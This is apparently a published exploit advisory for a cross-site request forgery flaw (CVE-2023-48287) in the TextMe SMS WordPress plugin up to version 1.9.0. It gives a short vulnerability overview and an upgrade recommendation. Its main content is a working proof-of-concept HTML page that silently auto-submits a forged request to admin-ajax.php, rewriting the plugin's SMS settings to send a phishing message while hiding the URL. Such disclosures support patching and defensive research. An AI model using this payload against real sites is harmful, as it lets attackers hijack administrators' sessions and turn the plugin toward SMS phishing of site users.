# Exploit Title: WP Plugins TextMe SMS <= 1.9.0 - CSRF # Date: 09-12-2023 # Exploit Author: Arvandy # Software Link: https://wordpress.org/plugins/textme-sms-integration/ # Version: 1.9.0 # Tested on: Windows, Linux # CVE: CVE-2023-48287 # Product Description This plugin allows you to send SMS messages from your WordPress dashboard to the site owner or to your end users. # Vulnerability overview The Wordpress plugins TextMe SMS <= 1.9.0 is vulnerable to Cross-Site Request Forgery in the Settings function (Account details and Contact Form 7 Events). This could allow unauthenticated users to trick authenticated users to unintentionally modify the account details and contact form 7 events. This could lead to sensitive data leakage as well as phishing attacks. # Proof of Concept <html> <body> <form action="http://x.x.x.x/WP/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="tetxme_update_option_page" /> <input type="hidden" name="data" value="textme_cf7=1&textme_cf7_user=1&textme_cf7_phone_field=0123456789&textme_cf7_user_content=SMS%20Phishing%20Sample" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> # Recommendation Upgrade to version 1.9.1